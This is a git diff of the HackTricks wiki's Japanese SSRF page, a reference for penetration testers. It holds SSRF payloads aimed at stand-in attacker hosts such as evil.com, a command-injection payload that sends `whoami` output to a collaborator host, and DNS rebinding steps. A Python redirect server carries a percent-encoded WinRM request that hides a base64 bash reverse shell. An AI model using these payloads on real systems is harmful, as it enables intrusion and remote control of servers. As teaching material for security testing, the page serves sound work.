diff --git a/SUMMARY.md b/SUMMARY.md index 086f12d68..544d90ca8 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -665,6 +665,7 @@ * [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md) * [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md) * [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md) + * [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md) * [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md) * [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md) * [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) diff --git a/pentesting-web/ssrf-server-side-request-forgery/README.md b/pentesting-web/ssrf-server-side-request-forgery/README.md index a8f77d494..db39f6c6c 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -1,10 +1,10 @@ -# SSRF(サーバーサイドリクエストフォージェリ) +# SSRF (Server Side Request Forgery)
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ -今すぐアクセスを取得: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で**最も進んだ**コミュニティツールによって動力を供給された**ワークフローを簡単に構築し自動化**します。\ +今すぐアクセス: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,19 +12,19 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** +* **サイバーセキュリティ会社**で働いていますか?**HackTricksに広告を掲載**したいですか?または、**PEASSの最新バージョンにアクセス**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを手に入れましょう。 +* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手しましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、**ハッキングのコツを共有**してください。 -サーバーサイドリクエストフォージェリ(SSRF)は、攻撃者が選択した任意のドメインに対してサーバーサイドアプリケーションにHTTPリクエストを行わせることができるウェブセキュリティの脆弱性です([ここから](https://portswigger.net/web-security/ssrf))。 +サーバーサイドリクエストフォージェリ(SSRFとも呼ばれる)は、攻撃者が**サーバーサイドアプリケーションに任意のドメインへのHTTPリクエストを行わせる**ことを可能にするWebセキュリティの脆弱性です。([こちら](https://portswigger.net/web-security/ssrf)から) ## SSRFのキャプチャ -最初に行う必要があるのは、自分が引き起こしたSSRFインタラクションをキャプチャすることです。HTTPまたはDNSのインタラクションをキャプチャするには、次のようなツールを使用できます。 +最初に行うべきことは、あなたによって引き起こされたSSRFのインタラクションをキャプチャすることです。HTTPまたはDNSのインタラクションをキャプチャするには、以下のツールを使用できます: * **Burpcollab** * [**pingb**](http://pingb.in) @@ -35,7 +35,7 @@ ## ホワイトリストされたドメインのバイパス -通常、SSRFは**特定のホワイトリストされたドメイン**またはURLでのみ機能することがわかります。次のページでは、そのホワイトリストをバイパスするための**テクニックのコンパイル**があります: +通常、SSRFは**特定のホワイトリストに登録されたドメイン**またはURLでのみ機能することがわかります。次のページでは、そのホワイトリストをバイパスしようとする**技術のコンパイル**があります: {% content-ref url="url-format-bypass.md" %} [url-format-bypass.md](url-format-bypass.md) @@ -43,7 +43,7 @@ ### オープンリダイレクトを介したバイパス -サーバーが正しく保護されている場合、ウェブページ内の**オープンリダイレクトを悪用**することで、すべての制限をバイパスすることができます。ウェブページは**同じドメインへのSSRFを許可**し、おそらく**リダイレクトをたどる**ため、**オープンリダイレクトを悪用してサーバーが内部のリソースにアクセス**することができます。\ +サーバーが適切に保護されている場合、Webページ内のオープンリダイレクトを悪用することで、**すべての制限をバイパス**することができます。Webページは**同じドメインへのSSRFを許可**し、おそらくは**リダイレクトをフォロー**するため、**オープンリダイレクトを悪用してサーバーに内部リソースへのアクセスをさせる**ことができます。\ 詳細はこちら:[https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## プロトコル @@ -61,26 +61,26 @@ ssrf.php?url=dict://attacker:11111/ ``` ### SFTP:// -セキュアシェル上での安全なファイル転送に使用されるネットワークプロトコルです。 +セキュアシェルを介した安全なファイル転送に使用されるネットワークプロトコル ``` ssrf.php?url=sftp://evil.com:11111/ ``` ### TFTP:// -Trivial File Transfer Protocol(TFTP)は、UDP上で動作します。 +Trivial File Transfer ProtocolはUDPを使用して動作します ``` ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET ``` ### LDAP:// -Lightweight Directory Access Protocol(軽量ディレクトリアクセスプロトコル)。IPネットワーク上で使用されるアプリケーションプロトコルで、分散ディレクトリ情報サービスの管理とアクセスに使用されます。 +Lightweight Directory Access Protocol(LDAP)は、IPネットワーク上で使用されるアプリケーションプロトコルです。これは、分散ディレクトリ情報サービスを管理およびアクセスするために使用されます。 ``` ssrf.php?url=ldap://localhost:11211/%0astats%0aquit ``` ### Gopher:// -このプロトコルを使用すると、**IP、ポート、バイト**を指定してサーバーに**送信**することができます。その後、基本的にはSSRFを利用して**任意のTCPサーバーと通信**することができます(ただし、まずサービスとの通信方法を知る必要があります)。 -幸いなことに、[Gopherus](https://github.com/tarunkant/Gopherus)を使用して、複数のサービスに対してペイロードを作成することができます。さらに、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)を使用して、_Java RMI_ サービス向けの_gopher_ ペイロードを作成することもできます。 +このプロトコルを使用すると、サーバーに**送信**させたい**IP、ポート、およびバイト**を指定できます。その後、SSRFを悪用して**任意のTCPサーバーと通信**できます(ただし、最初にサービスとどのように話すかを知っている必要があります)。\ +幸いなことに、[Gopherus](https://github.com/tarunkant/Gopherus)を使用して、いくつかのサービスのペイロードを作成できます。さらに、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)を使用して、_Java RMI_ サービスの_gopher_ペイロードを作成することができます。 **Gopher smtp** ``` @@ -98,24 +98,12 @@ Subject: Ah Ah AHYou didn't say the magic word ! QUIT ``` **Gopher HTTP** - -Gopher HTTP is a technique used in server-side request forgery (SSRF) attacks. SSRF is a vulnerability that allows an attacker to make requests from the targeted server to other internal or external resources. Gopher HTTP takes advantage of the Gopher protocol, which is a simple protocol used for retrieving documents over the Internet. - -In a Gopher HTTP attack, the attacker crafts a malicious request that tricks the server into making a request to a specified URL using the Gopher protocol. This can be used to bypass restrictions and access resources that are not directly accessible from the attacker's perspective. - -To perform a Gopher HTTP attack, the attacker typically needs to find a vulnerable parameter that accepts URLs and is susceptible to SSRF. The attacker then crafts a URL using the Gopher protocol and includes the desired request within it. The server, unaware of the malicious intent, makes the request and returns the response to the attacker. - -Gopher HTTP attacks can be used to access internal resources, such as databases, internal APIs, or even metadata endpoints. They can also be used to perform port scanning or to bypass network restrictions by making requests to external resources. - -To protect against Gopher HTTP attacks, it is important to validate and sanitize user input, especially when it involves URLs or parameters that can be used for SSRF. Additionally, network-level protections, such as firewalls or web application firewalls, can help detect and block malicious requests. - -Overall, Gopher HTTP is a powerful technique that can be used in SSRF attacks to bypass restrictions and access resources that would otherwise be inaccessible. It is important for developers and security professionals to be aware of this technique and take appropriate measures to mitigate the risk. ```bash #For new lines you can use %0A, %0D%0A gopher://:8080/_GET / HTTP/1.0%0A%0A gopher://:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body ``` -**Gopher SMTP — 1337にバックコネクトする** +**Gopher SMTP — 1337へのバックコネクト** {% code title="redirect.php" %} ```php @@ -128,15 +116,15 @@ https://example.com/?q=http://evil.com/redirect.php. ### SMTP -[https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929)から:\ -1\. SSRFでsmtpのlocalhost:25に接続する\ +[https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929)より:\ +1\. SMTP localhost:25にSSRFで接続する\ 2\. 最初の行から内部ドメイン名を取得する 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\ 3\. [http://internaldomain.com](https://t.co/K0mHR0SPVH)をGitHubで検索し、サブドメインを見つける\ 4\. 接続する -### Curl URL globbing - WAF bypass +### Curl URL globbing - WAFバイパス -もしSSRFが**curl**によって実行される場合、curlには[WAFをバイパスするのに役立つ](https://everything.curl.dev/cmdline/globbing) **URL globbing**という機能があります。例えば、この[**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)では、**`file`プロトコルを介したパストラバーサル**の例があります。 +SSRFが**curl**によって実行される場合、curlにはWAFをバイパスするのに役立つ[**URL globbing**](https://everything.curl.dev/cmdline/globbing)という機能があります。例えば、この[**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)には、**`file`プロトコル経由のパストラバーサル**の例があります: ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` @@ -146,15 +134,16 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} * [http://requestrepo.com/](http://requestrepo.com/) * [https://app.interactsh.com/](https://app.interactsh.com/) * [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness) +* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - ngrokを使用したBurp Collaborator -## リファラーヘッダーを使用したSSRF +## Referrerヘッダーを介したSSRF -一部のアプリケーションでは、訪問者を追跡するためのサーバーサイドの分析ソフトウェアが使用されています。このソフトウェアは、リファラーヘッダーをリクエストに記録することがあります。これは、受信リンクの分析に特に興味があるためです。通常、分析ソフトウェアは、リファラーヘッダーに表示されるサードパーティのURLを実際に訪問します。これは、受信リンクで使用されるアンカーテキストを含む参照サイトの内容を分析するために行われます。その結果、リファラーヘッダーはしばしばSSRFの脆弱性の攻撃対象となります。\ -このような「隠れた」脆弱性を発見するために、Burpのプラグイン「**Collaborator Everywhere**」を使用することができます。 +一部のアプリケーションでは、訪問者を追跡するサーバーサイドの分析ソフトウェアを使用しています。このソフトウェアは、リンク元を追跡するために特に興味があるため、リクエストのReferrerヘッダーをしばしば記録します。分析ソフトウェアは、Referrerヘッダーに現れる第三者のURLを実際に訪問することがよくあります。これは通常、リンク元サイトの内容を分析するために行われ、リンクに使用されるアンカーテキストを含みます。その結果、RefererヘッダーはしばしばSSRFの脆弱性に対する有益な攻撃面を表しています。\ +この種の「隠された」脆弱性を発見するためには、Burpのプラグイン「**Collaborator Everywhere**」を使用できます。 -## 証明書からのSNIデータを使用したSSRF +## 証明書からのSNIデータを介したSSRF -任意のバックエンドに接続するための最も単純な設定ミスは、次のようになります: +任意のバックエンドに接続を許可する最も単純な誤設定は、次のようなものになるでしょう: ```nginx stream { server { @@ -165,25 +154,25 @@ ssl_preread on; } } ``` -ここでは、SNIフィールドの値がバックエンドのアドレスとして直接使用されています。 +ここでは、SNIフィールドの値がバックエンドのアドレスとして直接使用されます。 -この安全でない設定では、**SSRF脆弱性を簡単に悪用することができます。SNIフィールドに希望するIPアドレスまたはドメイン名を指定するだけで**、Nginxを_internal.host.com_に接続させることができます。例えば、以下のコマンドを使用します。 +この安全でない設定では、**SNIフィールドに希望のIPアドレスまたはドメイン名を指定するだけでSSRF脆弱性を簡単に悪用できます**。例えば、以下のコマンドはNginxに_internal.host.com_へ接続させます: ```bash openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf ``` -## [Wgetファイルのアップロード](../file-upload/#wget-file-upload-ssrf-trick) +## [Wget ファイルアップロード](../file-upload/#wget-file-upload-ssrf-trick) ## コマンドインジェクションを伴うSSRF -次のようなペイロードを試してみる価値があります: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` +次のようなペイロードを試す価値があるかもしれません: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` -## PDFのレンダリング +## PDFレンダリング -ウェブページが提供した情報で自動的にPDFを作成している場合、PDF作成時にサーバー自体で実行されるJSを挿入することができます。これにより、SSRFを悪用することができます。[**ここで詳細情報を見つけることができます**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** +ウェブページが提供された情報で自動的にPDFを作成している場合、**PDF作成者(サーバー)自身がPDFを作成する際に実行されるJSを挿入**して、SSRFを悪用することができます。[**こちらで詳細を確認してください**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**。** ## SSRFからDoSへ -複数のセッションを作成し、セッションからSSRFを悪用して重いファイルをダウンロードしようとしてください。 +複数のセッションを作成し、セッションを利用して重いファイルのダウンロードを試みることでSSRFを悪用してDoSを実行します。 ## SSRF PHP関数 @@ -193,7 +182,7 @@ openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf ## GopherへのSSRFリダイレクト -一部の攻撃では、**リダイレクトレスポンスを送信する**必要がある場合があります(おそらくgopherのような異なるプロトコルを使用するため)。以下に、リダイレクトを返すための異なるPythonコードがあります: +いくつかの悪用では、**リダイレクトレスポンスを送信する**(gopherのような異なるプロトコルを使用するために)必要があるかもしれません。ここにリダイレクトで応答するための異なるpythonコードがあります: ```python # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes from http.server import HTTPServer, BaseHTTPRequestHandler @@ -203,16 +192,7 @@ class MainHandler(BaseHTTPRequestHandler): def do_GET(self): print("GET") self.send_response(301) - self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a") -```python -self.end_headers() - -httpd = HTTPServer(('0.0.0.0', 443), MainHandler) -httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True) -httpd.serve_forever() -``` -```python self.end_headers() httpd = HTTPServer(('0.0.0.0', 443), MainHandler) @@ -232,68 +212,61 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4 if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ``` -
+```markdown +## DNS Rebidding CORS/SOP バイパス -\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## DNS Rebidding CORS/SOPバイパス - -**CORS/SOP**の制限をバイパスするために、**ローカルIPからコンテンツを外部に流出**させるのに問題がある場合、**DNS Rebidding**を使用できます。 +ローカルIPからのコンテンツの**流出**に**問題**がある場合、**DNS Rebidding**を使用してCORS/SOPの制限をバイパスできます。 {% content-ref url="../cors-bypass.md" %} [cors-bypass.md](../cors-bypass.md) {% endcontent-ref %} -### 自動DNS Rebidding +### 自動化されたDNS Rebidding -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)は、[DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)攻撃を実行するためのツールです。このツールには、攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。 +[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)は、[DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)攻撃を実行するツールです。攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するための必要なコンポーネントが含まれています。 -また、[**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)で公開されているサーバーもチェックしてください。 +また、[**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)で**公開されているサーバー**もチェックしてください。 ## DNS Rebidding + TLSセッションID/セッションチケット -要件: +要件: * **SSRF** * **アウトバウンドTLSセッション** * **ローカルポート上のもの** -攻撃手順: +攻撃: -1. ユーザー/ボットに**攻撃者が制御するドメイン**にアクセスさせます。 -2. **DNS**の**TTL**は**0**秒です(したがって、被害者はドメインのIPをすぐに再度チェックします)。 -3. 被害者と攻撃者のドメイン間で**TLS接続**が作成されます。攻撃者は**セッションIDまたはセッションチケット**内に**ペイロード**を挿入します。 -4. **ドメイン**は**自身に対して無限ループのリダイレクト**を開始します。これの目的は、ユーザー/ボットがドメインにアクセスし続け、ドメインの**DNSリクエスト**を再度実行することです。 -5. DNSリクエストで**プライベートIPアドレス**が**現在**指定されます(例:127.0.0.1)。 -6. ユーザー/ボットは**TLS接続を再確立**しようとし、そのために**セッションID/チケットID**を送信します(攻撃者のペイロードが含まれていた場所)。おめでとうございます、ユーザー/ボットが**自身を攻撃する**ように要求することに成功しました。 +1. ユーザー/ボットに攻撃者が管理する**ドメイン**に**アクセス**するよう依頼します。 +2. **DNS**の**TTL**は**0**秒です(そのため、被害者はすぐにドメインのIPを再確認します)。 +3. 被害者と攻撃者のドメイン間に**TLS接続**が作成されます。攻撃者は**セッションIDまたはセッションチケット**内に**ペイロード**を挿入します。 +4. **ドメイン**は自分自身に対して**無限ループ**のリダイレクトを開始します。これにより、ユーザー/ボットがドメインにアクセスし続け、**再び**ドメインの**DNSリクエスト**を実行することが目的です。 +5. DNSリクエストでは、**プライベートIP**アドレスが**今**与えられます(例:127.0.0.1)。 +6. ユーザー/ボットは**TLS接続**を再確立しようとし、そのために攻撃者の**ペイロード**が含まれていた**セッション**ID/チケットIDを**送信**します。おめでとうございます、ユーザー/ボットに自分自身を攻撃させることに成功しました。 -この攻撃中、localhost:11211(_memcache_)を攻撃する場合、被害者に最初の接続をwww.attacker.com:11211(**ポートは常に同じである必要があります**)で確立させる必要があります。\ -この攻撃を実行するためには、次のツールを使用できます:[https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ -この攻撃についての詳細は、次のトークを参照してください:[https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) +この攻撃中に、localhost:11211(_memcache_)を攻撃したい場合は、被害者に最初にwww.attacker.com:11211との接続を確立させる必要があります(**ポートは常に同じでなければなりません**)。\ +この攻撃を**実行するためのツール**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ +**詳細情報**については、この攻撃が説明されているトークをご覧ください: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) ## Blind SSRF 